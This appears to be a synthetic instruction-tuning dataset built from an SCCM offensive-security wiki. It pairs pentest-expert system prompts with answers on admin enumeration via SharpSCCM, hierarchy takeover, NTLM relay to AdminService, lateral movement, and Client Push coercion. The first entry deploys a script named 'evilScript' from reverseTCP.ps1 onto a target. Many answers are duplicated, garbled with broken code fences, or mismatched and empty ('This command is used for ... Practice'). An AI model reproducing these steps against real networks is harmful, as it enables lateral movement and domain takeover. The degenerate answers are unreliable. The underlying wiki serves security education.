[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Create a CM drive if it doesn't already exist and deploy a CMScript on a target

[Assistant]
New-CMScriptDeployement -CMDrive 'E' -ServerFQDN 'sccm.domain.local' -TargetDevice 'target' -Path '.\reverseTCP.ps1' -ScriptName 'evilScript'
```

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Create a CM drive if it doesn't already exist and deploy a CMScript on a target

Response:
New-CMScriptDeployement -CMDrive 'E' -ServerFQDN 'sccm.domain.local' -TargetDevice 'target' -Path '.\reverseTCP.ps1' -ScriptName 'evilScript'
```

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Admin & Special Account Enumeration - Theory

[Assistant]
Administrative privileges over the SCCM Management Point (MP) are required to query the MP's WMI database for admin and special accounts. This enumeration step allows identifying SCCM administrators and special service accounts configured within the SCCM infrastructure.

> [!TIP]
> For additional attack techniques and defense strategies related to SCCM enumeration, refer to the following techniques from the Misconfiguration-Manager repository:
> - RECON-1: LDAP Enumeration
> - RECON-2: SMB Enumeration
> - RECON-3: HTTP Enumeration
> - RECON-5: SMS Provider Enumeration
> - RECON-6: Remote Registry Enumeration
> - RECON-7: Local File Site Enumeration

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Admin & Special Account Enumeration - Theory

Response:
Administrative privileges over the SCCM Management Point (MP) are required to query the MP's WMI database for admin and special accounts. This enumeration step allows identifying SCCM administrators and special service accounts configured within the SCCM infrastructure.

> [!TIP]
> For additional attack techniques and defense strategies related to SCCM enumeration, refer to the following techniques from the Misconfiguration-Manager repository:
> - RECON-1: LDAP Enumeration
> - RECON-2: SMB Enumeration
> - RECON-3: HTTP Enumeration
> - RECON-5: SMS Provider Enumeration
> - RECON-6: Remote Registry Enumeration
> - RECON-7: Local File Site Enumeration


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Admin & Special Account Enumeration - Theory

[Assistant]
Administrative privileges over the SCCM Management Point (MP) are required to query the MP's WMI database for admin and special accounts. This enumeration step allows identifying SCCM administrators and special service accounts configured within the SCCM infrastructure.

> [!TIP]
> For additional attack techniques and defense strategies related to SCCM enumeration, refer to the following techniques from the Misconfiguration-Manager repository:
> - RECON-1: LDAP Enumeration
> - RECON-2: SMB Enumeration
> - RECON-3: HTTP Enumeration
> - RECON-5: SMS Provider Enumeration
> - RECON-6: Remote Registry Enumeration
> - RECON-7: Local File Site Enumeration

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Admin & Special Account Enumeration - Theory

Response:
Administrative privileges over the SCCM Management Point (MP) are required to query the MP's WMI database for admin and special accounts. This enumeration step allows identifying SCCM administrators and special service accounts configured within the SCCM infrastructure.

> [!TIP]
> For additional attack techniques and defense strategies related to SCCM enumeration, refer to the following techniques from the Misconfiguration-Manager repository:
> - RECON-1: LDAP Enumeration
> - RECON-2: SMB Enumeration
> - RECON-3: HTTP Enumeration
> - RECON-5: SMS Provider Enumeration
> - RECON-6: Remote Registry Enumeration
> - RECON-7: Local File Site Enumeration


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Admin & Special Account Enumeration - Practice

[Assistant]
::: tabs

=== Windows

Admin users can be enumerated using the following command:

``powershell
SharpSCCM.exe get class-instances SMS_ADMIN
`

![](<../assets/SCCM_Lateral_Movement_User_Enum.png>)

Admin user enumeration in SCCM{.caption}

Special accounts can be enumerated using the following command:

`powershell
SharpSCCM.exe get class-instances SMS_SCI_Reserved
``

![](<../assets/SCCM_Lateral_Movement_Special_Account_Enum.png>)

Special Account Enumeration in SCCM{.caption}

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Admin & Special Account Enumeration - Practice

Response:
::: tabs

=== Windows

Admin users can be enumerated using the following command:

``powershell
SharpSCCM.exe get class-instances SMS_ADMIN
`

![](<../assets/SCCM_Lateral_Movement_User_Enum.png>)

Admin user enumeration in SCCM{.caption}

Special accounts can be enumerated using the following command:

`powershell
SharpSCCM.exe get class-instances SMS_SCI_Reserved
``

![](<../assets/SCCM_Lateral_Movement_Special_Account_Enum.png>)

Special Account Enumeration in SCCM{.caption}

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Admin & Special Account Enumeration - Practice?

[Assistant]
::: tabs

=== Windows

Admin users can be enumerated using the following command:

``powershell
SharpSCCM.exe get class-instances SMS_ADMIN
`

![](<../assets/SCCM_Lateral_Movement_User_Enum.png>)

Admin user enumeration in SCCM{.caption}

Special accounts can be enumerated using the following command:

`powershell
SharpSCCM.exe get class-instances SMS_SCI_Reserved
``

![](<../assets/SCCM_Lateral_Movement_Special_Account_Enum.png>)

Special Account Enumeration in SCCM{.caption}

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Admin & Special Account Enumeration - Practice?

Response:
::: tabs

=== Windows

Admin users can be enumerated using the following command:

``powershell
SharpSCCM.exe get class-instances SMS_ADMIN
`

![](<../assets/SCCM_Lateral_Movement_User_Enum.png>)

Admin user enumeration in SCCM{.caption}

Special accounts can be enumerated using the following command:

`powershell
SharpSCCM.exe get class-instances SMS_SCI_Reserved
``

![](<../assets/SCCM_Lateral_Movement_Special_Account_Enum.png>)

Special Account Enumeration in SCCM{.caption}

:::


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the SharpSCCM.exe syntax for admin & special account enumeration - practice?

[Assistant] SharpSCCM.exe get class-instances SMS_ADMIN

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the SharpSCCM.exe syntax for admin & special account enumeration - practice?

Response: SharpSCCM.exe get class-instances SMS_ADMIN


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Admin & Special Account Enumeration - Practice

[Assistant] SharpSCCM.exe get class-instances SMS_ADMIN

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Admin & Special Account Enumeration - Practice

Response: SharpSCCM.exe get class-instances SMS_ADMIN


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `SharpSCCM.exe get class-instances SMS_ADMIN`?

[Assistant] This command is used for admin & special account enumeration - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `SharpSCCM.exe get class-instances SMS_ADMIN`?

Response: This command is used for admin & special account enumeration - practice. Practice


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the SharpSCCM.exe command for admin & special account enumeration - practice

[Assistant] SharpSCCM.exe get class-instances SMS_SCI_Reserved

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the SharpSCCM.exe command for admin & special account enumeration - practice

Response: SharpSCCM.exe get class-instances SMS_SCI_Reserved


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Admin & Special Account Enumeration - Practice?

[Assistant] SharpSCCM.exe get class-instances SMS_SCI_Reserved

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: SharpSCCM.exe get class-instances SMS_SCI_Reserved


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `SharpSCCM.exe get class-instances SMS_SCI_Reserved`?

[Assistant] This command is used for admin & special account enumeration - practice. Practice

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `SharpSCCM.exe get class-instances SMS_SCI_Reserved`?

Response: This command is used for admin & special account enumeration - practice. Practice


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about SCCM Hierarchy takeover - Theory

[Assistant]
As indicated by Chris Thompson in his article SCCM Hierarchy Takeover, by default, when a new user is promoted to any SCCM administrative role on a primary site server (for example, Full Administrator), the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.

This means that there is no security boundary between SCCM sites in the same hierarchy, and taking over one SCCM site implies the ability to take over all the others.

> [!TIP]
> For additional attack techniques and defense strategies related to SCCM hierarchy takeover, refer to the following techniques from the Misconfiguration-Manager repository:
> - TAKEOVER-4: Relay CAS to Child
> - TAKEOVER-5: Hierarchy Takeover via NTLM coercion and relay to AdminService on remote SMS Provider

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about SCCM Hierarchy takeover - Theory

Response:
As indicated by Chris Thompson in his article SCCM Hierarchy Takeover, by default, when a new user is promoted to any SCCM administrative role on a primary site server (for example, Full Administrator), the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.

This means that there is no security boundary between SCCM sites in the same hierarchy, and taking over one SCCM site implies the ability to take over all the others.

> [!TIP]
> For additional attack techniques and defense strategies related to SCCM hierarchy takeover, refer to the following techniques from the Misconfiguration-Manager repository:
> - TAKEOVER-4: Relay CAS to Child
> - TAKEOVER-5: Hierarchy Takeover via NTLM coercion and relay to AdminService on remote SMS Provider


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out SCCM Hierarchy takeover - Theory during a pentest?

[Assistant]
As indicated by Chris Thompson in his article SCCM Hierarchy Takeover, by default, when a new user is promoted to any SCCM administrative role on a primary site server (for example, Full Administrator), the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.

This means that there is no security boundary between SCCM sites in the same hierarchy, and taking over one SCCM site implies the ability to take over all the others.

> [!TIP]
> For additional attack techniques and defense strategies related to SCCM hierarchy takeover, refer to the following techniques from the Misconfiguration-Manager repository:
> - TAKEOVER-4: Relay CAS to Child
> - TAKEOVER-5: Hierarchy Takeover via NTLM coercion and relay to AdminService on remote SMS Provider

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out SCCM Hierarchy takeover - Theory during a pentest?

Response:
As indicated by Chris Thompson in his article SCCM Hierarchy Takeover, by default, when a new user is promoted to any SCCM administrative role on a primary site server (for example, Full Administrator), the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.

This means that there is no security boundary between SCCM sites in the same hierarchy, and taking over one SCCM site implies the ability to take over all the others.

> [!TIP]
> For additional attack techniques and defense strategies related to SCCM hierarchy takeover, refer to the following techniques from the Misconfiguration-Manager repository:
> - TAKEOVER-4: Relay CAS to Child
> - TAKEOVER-5: Hierarchy Takeover via NTLM coercion and relay to AdminService on remote SMS Provider


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about SCCM Hierarchy takeover - Automatic propagation

[Assistant] There is nothing to do. Just promote a user to any SCCM administrative role on a primary site server (for example, Full Administrator), and the role will be automatically propagated to the other SCCM site in the hierarchy by the CAS.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about SCCM Hierarchy takeover - Automatic propagation

Response: There is nothing to do. Just promote a user to any SCCM administrative role on a primary site server (for example, Full Administrator), and the role will be automatically propagated to the other SCCM site in the hierarchy by the CAS.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do SCCM Hierarchy takeover - Automatic propagation

[Assistant] There is nothing to do. Just promote a user to any SCCM administrative role on a primary site server (for example, Full Administrator), and the role will be automatically propagated to the other SCCM site in the hierarchy by the CAS.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do SCCM Hierarchy takeover - Automatic propagation

Response: There is nothing to do. Just promote a user to any SCCM administrative role on a primary site server (for example, Full Administrator), and the role will be automatically propagated to the other SCCM site in the hierarchy by the CAS.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about SCCM Hierarchy takeover - TAKEOVER-5: NTLM coercion and relay to AdminService

[Assistant]
> [!CAUTION]
> This technique only works on Configuration Manager versions prior to 2509. Version 2509 and later reject NTLM authentication at the AdminService. For more details, see Microsoft's update notes.

This technique allows an attacker to take over the SCCM hierarchy by relaying coerced NTLM authentication from site servers to remote SMS Providers via the AdminService API. The SMS Provider's AdminService REST API uses Microsoft Negotiate for authentication and, in default configurations prior to version 2509, was vulnerable to NTLM relay attacks.

> [!TIP]
> For detailed requirements, defensive strategies, and practical implementation steps, refer to the Relay to the HTTP API AdminService section in the site takeover article, TAKEOVER-5, and the article "Site Takeover via SCCM's AdminService API" by Garrett Foster.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about SCCM Hierarchy takeover - TAKEOVER-5: NTLM coercion and relay to AdminService

Response:
> [!CAUTION]
> This technique only works on Configuration Manager versions prior to 2509. Version 2509 and later reject NTLM authentication at the AdminService. For more details, see Microsoft's update notes.

This technique allows an attacker to take over the SCCM hierarchy by relaying coerced NTLM authentication from site servers to remote SMS Providers via the AdminService API. The SMS Provider's AdminService REST API uses Microsoft Negotiate for authentication and, in default configurations prior to version 2509, was vulnerable to NTLM relay attacks.

> [!TIP]
> For detailed requirements, defensive strategies, and practical implementation steps, refer to the Relay to the HTTP API AdminService section in the site takeover article, TAKEOVER-5, and the article "Site Takeover via SCCM's AdminService API" by Garrett Foster.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform SCCM Hierarchy takeover - TAKEOVER-5: NTLM coercion and relay to AdminService?

[Assistant]
> [!CAUTION]
> This technique only works on Configuration Manager versions prior to 2509. Version 2509 and later reject NTLM authentication at the AdminService. For more details, see Microsoft's update notes.

This technique allows an attacker to take over the SCCM hierarchy by relaying coerced NTLM authentication from site servers to remote SMS Providers via the AdminService API. The SMS Provider's AdminService REST API uses Microsoft Negotiate for authentication and, in default configurations prior to version 2509, was vulnerable to NTLM relay attacks.

> [!TIP]
> For detailed requirements, defensive strategies, and practical implementation steps, refer to the Relay to the HTTP API AdminService section in the site takeover article, TAKEOVER-5, and the article "Site Takeover via SCCM's AdminService API" by Garrett Foster.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform SCCM Hierarchy takeover - TAKEOVER-5: NTLM coercion and relay to AdminService?

Response:
> [!CAUTION]
> This technique only works on Configuration Manager versions prior to 2509. Version 2509 and later reject NTLM authentication at the AdminService. For more details, see Microsoft's update notes.

This technique allows an attacker to take over the SCCM hierarchy by relaying coerced NTLM authentication from site servers to remote SMS Providers via the AdminService API. The SMS Provider's AdminService REST API uses Microsoft Negotiate for authentication and, in default configurations prior to version 2509, was vulnerable to NTLM relay attacks.

> [!TIP]
> For detailed requirements, defensive strategies, and practical implementation steps, refer to the Relay to the HTTP API AdminService section in the site takeover article, TAKEOVER-5, and the article "Site Takeover via SCCM's AdminService API" by Garrett Foster.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Lateral movement - Theory?

[Assistant]
Since the main goal of SCCM is to deploy applications and services on the managed assets of the Active Directory, it is also a pretty good candidate to move latteraly on the network. With administrative rights on the primary site server, this can be done by deploying applications and scripts on the targets or coercing clients' authentication.

Additionally, SCCM permits to enumerate many data on the ressources. Among all the services offered by SCCM to the administrator, there is one named CMPivot. This service, located on the MP server, can enumerate all the resources of a computer or computer collection (installed software, local administrators, hardware specification, etc.), and perform administrative tasks on them. It uses a HTTP REST API, named AdminService, provided by the SMS Provider server.

Finally, as indicated by Chris Thompson in his article SCCM Hierarchy Takeover, by default, when a new user is promoted to any SCCM administrative role on a primary site server (for example, Full Administrator), the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.

This means that there is no security boundary between SCCM sites in a same hierarchy, and being able to takeover one SCCM site implicates to takeover all the others.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Since the main goal of SCCM is to deploy applications and services on the managed assets of the Active Directory, it is also a pretty good candidate to move latteraly on the network. With administrative rights on the primary site server, this can be done by deploying applications and scripts on the targets or coercing clients' authentication.

Additionally, SCCM permits to enumerate many data on the ressources. Among all the services offered by SCCM to the administrator, there is one named CMPivot. This service, located on the MP server, can enumerate all the resources of a computer or computer collection (installed software, local administrators, hardware specification, etc.), and perform administrative tasks on them. It uses a HTTP REST API, named AdminService, provided by the SMS Provider server.

Finally, as indicated by Chris Thompson in his article SCCM Hierarchy Takeover, by default, when a new user is promoted to any SCCM administrative role on a primary site server (for example, Full Administrator), the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.

This means that there is no security boundary between SCCM sites in a same hierarchy, and being able to takeover one SCCM site implicates to takeover all the others.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Lateral movement - Theory

[Assistant]
Since the main goal of SCCM is to deploy applications and services on the managed assets of the Active Directory, it is also a pretty good candidate to move latteraly on the network. With administrative rights on the primary site server, this can be done by deploying applications and scripts on the targets or coercing clients' authentication.

Additionally, SCCM permits to enumerate many data on the ressources. Among all the services offered by SCCM to the administrator, there is one named CMPivot. This service, located on the MP server, can enumerate all the resources of a computer or computer collection (installed software, local administrators, hardware specification, etc.), and perform administrative tasks on them. It uses a HTTP REST API, named AdminService, provided by the SMS Provider server.

Finally, as indicated by Chris Thompson in his article SCCM Hierarchy Takeover, by default, when a new user is promoted to any SCCM administrative role on a primary site server (for example, Full Administrator), the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.

This means that there is no security boundary between SCCM sites in a same hierarchy, and being able to takeover one SCCM site implicates to takeover all the others.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Lateral movement - Theory

Response:
Since the main goal of SCCM is to deploy applications and services on the managed assets of the Active Directory, it is also a pretty good candidate to move latteraly on the network. With administrative rights on the primary site server, this can be done by deploying applications and scripts on the targets or coercing clients' authentication.

Additionally, SCCM permits to enumerate many data on the ressources. Among all the services offered by SCCM to the administrator, there is one named CMPivot. This service, located on the MP server, can enumerate all the resources of a computer or computer collection (installed software, local administrators, hardware specification, etc.), and perform administrative tasks on them. It uses a HTTP REST API, named AdminService, provided by the SMS Provider server.

Finally, as indicated by Chris Thompson in his article SCCM Hierarchy Takeover, by default, when a new user is promoted to any SCCM administrative role on a primary site server (for example, Full Administrator), the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.

This means that there is no security boundary between SCCM sites in a same hierarchy, and being able to takeover one SCCM site implicates to takeover all the others.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Lateral movement - Admin & Special Account Enumeration?

[Assistant]
Administrative privileges over the SCCM Management Point (MP) are required to query the MP's WMI database for admin and special accounts.

> [!TIP]
> Read the enumeration article for detailed information on enumerating admin and special accounts.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Lateral movement - Admin & Special Account Enumeration?

Response:
Administrative privileges over the SCCM Management Point (MP) are required to query the MP's WMI database for admin and special accounts.

> [!TIP]
> Read the enumeration article for detailed information on enumerating admin and special accounts.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Lateral movement - Admin & Special Account Enumeration during a pentest?

[Assistant]
Administrative privileges over the SCCM Management Point (MP) are required to query the MP's WMI database for admin and special accounts.

> [!TIP]
> Read the enumeration article for detailed information on enumerating admin and special accounts.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Lateral movement - Admin & Special Account Enumeration during a pentest?

Response:
Administrative privileges over the SCCM Management Point (MP) are required to query the MP's WMI database for admin and special accounts.

> [!TIP]
> Read the enumeration article for detailed information on enumerating admin and special accounts.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Lateral movement - Applications and scripts deployment

[Assistant]
With administrative rights on the primary site server, applications and scripts can be deployed on target devices to move laterally across the network.

> [!TIP]
> Read the deployment article for detailed information on deploying applications and scripts via SCCM.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain Lateral movement - Applications and scripts deployment

Response:
With administrative rights on the primary site server, applications and scripts can be deployed on target devices to move laterally across the network.

> [!TIP]
> Read the deployment article for detailed information on deploying applications and scripts via SCCM.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Lateral movement - Applications and scripts deployment?

[Assistant]
With administrative rights on the primary site server, applications and scripts can be deployed on target devices to move laterally across the network.

> [!TIP]
> Read the deployment article for detailed information on deploying applications and scripts via SCCM.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Lateral movement - Applications and scripts deployment?

Response:
With administrative rights on the primary site server, applications and scripts can be deployed on target devices to move laterally across the network.

> [!TIP]
> Read the deployment article for detailed information on deploying applications and scripts via SCCM.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Lateral movement - AdminService API?

[Assistant]
The AdminService API can be used to interact directly with SCCM resources for post-exploitation purposes, without using CMPivot.

> [!TIP]
> Read the AdminService API article for detailed information on using the AdminService API.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Lateral movement - AdminService API?

Response:
The AdminService API can be used to interact directly with SCCM resources for post-exploitation purposes, without using CMPivot.

> [!TIP]
> Read the AdminService API article for detailed information on using the AdminService API.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for Lateral movement - AdminService API

[Assistant]
The AdminService API can be used to interact directly with SCCM resources for post-exploitation purposes, without using CMPivot.

> [!TIP]
> Read the AdminService API article for detailed information on using the AdminService API.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for Lateral movement - AdminService API

Response:
The AdminService API can be used to interact directly with SCCM resources for post-exploitation purposes, without using CMPivot.

> [!TIP]
> Read the AdminService API article for detailed information on using the AdminService API.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Lateral movement - SCCM Hierarchy takeover?

[Assistant]
By default, when a new user is promoted to any SCCM administrative role on a primary site server, the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.

> [!TIP]
> Read the hierarchy takeover article for detailed information on SCCM hierarchy takeover.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Lateral movement - SCCM Hierarchy takeover?

Response:
By default, when a new user is promoted to any SCCM administrative role on a primary site server, the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.

> [!TIP]
> Read the hierarchy takeover article for detailed information on SCCM hierarchy takeover.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Lateral movement - SCCM Hierarchy takeover?

[Assistant]
By default, when a new user is promoted to any SCCM administrative role on a primary site server, the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.

> [!TIP]
> Read the hierarchy takeover article for detailed information on SCCM hierarchy takeover.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Lateral movement - SCCM Hierarchy takeover?

Response:
By default, when a new user is promoted to any SCCM administrative role on a primary site server, the role is automatically propagated to the other SCCM site in the hierarchy by the CAS.

> [!TIP]
> Read the hierarchy takeover article for detailed information on SCCM hierarchy takeover.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Client Push account authentication coercion - Theory work?

[Assistant]
If SCCM is deployed via Client Push Accounts, it is possible, from a compromised SCCM client, to coerce the Client Push Account into authenticating to an arbitrary remote resource. It is then possible to retrieve NTLM authentication data in order to crack the account's password or relay the data to other services. Client Push Accounts are privileged as they are required to have local administrator rights on workstations on which they deploy the SCCM client.

> [!TIP]
> For additional attack techniques and defense strategies related to client push account coercion in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - ELEVATE-2: Relay Client Push Installation
> - ELEVATE-3: Relay Client Push Installation (with AD System Discovery)
> - COERCE-2: CcmExec Coercion

> [!TIP]
> In some case, the "Client Push Accounts" could even be part of the Domain Admins group, leading to a complete takeover of the domain.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Client Push account authentication coercion - Theory work?

Response:
If SCCM is deployed via Client Push Accounts, it is possible, from a compromised SCCM client, to coerce the Client Push Account into authenticating to an arbitrary remote resource. It is then possible to retrieve NTLM authentication data in order to crack the account's password or relay the data to other services. Client Push Accounts are privileged as they are required to have local administrator rights on workstations on which they deploy the SCCM client.

> [!TIP]
> For additional attack techniques and defense strategies related to client push account coercion in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:
> - ELEVATE-2: Relay Client Push Installation
> - ELEVATE-3: Relay Client Push Installation (with AD System Discovery)
> - COERCE-2: CcmExec Coercion

> [!TIP]
> In some case, the "Client Push Accounts" could even be part of the Domain Admins group, leading to a complete takeover of the domain.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Client Push account authentication coercion - Theory during a pentest?

[Assistant]
If SCCM is deployed via Client Push Accounts, it is possible, from a compromised SCCM client, to coerce the Client Push Account into authenticating to an arbitrary remote resource. It is then possible to retrieve NTLM authentication data in order to crack the account's password or relay the data to other services. Client Push Accounts are privileged as they are required to have local administrator rights on workstations on which they deploy the SCCM client.

> [!TIP]
